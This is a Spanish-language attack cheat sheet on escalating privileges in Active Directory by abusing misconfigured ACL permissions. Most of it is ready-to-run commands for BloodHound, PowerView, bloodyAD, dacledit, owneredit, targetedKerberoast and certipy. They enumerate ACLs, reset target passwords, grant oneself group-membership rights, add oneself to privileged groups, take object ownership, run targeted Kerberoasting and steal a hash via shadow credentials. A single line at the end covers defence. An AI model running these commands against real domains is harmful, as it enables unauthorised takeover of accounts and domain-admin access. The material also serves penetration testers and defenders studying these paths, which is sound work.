Qué es
El abuso de permisos ACL aprovecha permisos mal configurados sobre objetos de Active Directory. Con el permiso correcto, el atacante modifica una cuenta o un grupo y escala privilegios. No necesita exploit ni malware: usa operaciones normales del directorio.
Cómo funciona
Cada permiso de una ACL es una función administrativa legítima. Windows no revisa cómo se combinan esos permisos entre objetos. Quien tiene permiso sobre un objeto puede modificarlo: su contraseña, su dueño, su lista de permisos o sus atributos. El atacante encadena permisos pequeños hasta alcanzar una cuenta privilegiada. Ejemplo: WriteDACL sobre un grupo deja concederte el permiso de añadir miembros, te añades al grupo, y ese grupo tiene GenericAll sobre un Domain Admin. Ningún paso rompe una regla: todo parece administración normal.
Comandos
Primero mapea quién puede modificar qué:
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -ns <IP> -c AllCon PowerView, lista las ACL interesantes desde tu sesión:
Find-InterestingDomainAcl -ResolveGUIDsGenericAll o ForceChangePassword: resetea la contraseña del objetivo.
$pw = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET> -AccountPassword $pwLo mismo desde Linux:
bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> --host <IP> set password <TARGET> <PASSWORD>WriteDACL: concédete el permiso de editar los miembros del grupo.
Add-DomainObjectAcl -TargetIdentity <GROUP> -PrincipalIdentity <USER> -Rights WriteMembersDesde Linux:
dacledit.py -action write -rights WriteMembers -principal <USER> -target <GROUP> -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>Ahora añádete al grupo objetivo:
Add-DomainGroupMember -Identity <GROUP> -Members <USER>bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> --host <IP> add groupMember <GROUP> <USER>WriteOwner: toma la propiedad y luego reescribe la DACL.
Set-DomainObjectOwner -Identity <GROUP> -OwnerIdentity <USER>
Add-DomainObjectAcl -TargetIdentity <GROUP> -PrincipalIdentity <USER> -Rights WriteMembersDesde Linux, primero cambia el dueño:
owneredit.py -action write -new-owner <USER> -target <GROUP> -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>GenericWrite: asigna un SPN y haz Kerberoasting dirigido.
Set-DomainObject -Identity <TARGET> -Set @{serviceprincipalname='<SPN>'}Automatizado desde Linux:
targetedKerberoast.py -u <USER> -p <PASSWORD> -d <DOMAIN> --dc-ip <IP>GenericWrite también sirve para credenciales shadow y robar el hash del objetivo:
certipy shadow auto -u <USER>@<DOMAIN> -p <PASSWORD> -account <TARGET> -dc-ip <IP>Cómo defenderse
Audita las DACL de los objetos Tier 0 y quita las delegaciones que ya nadie usa.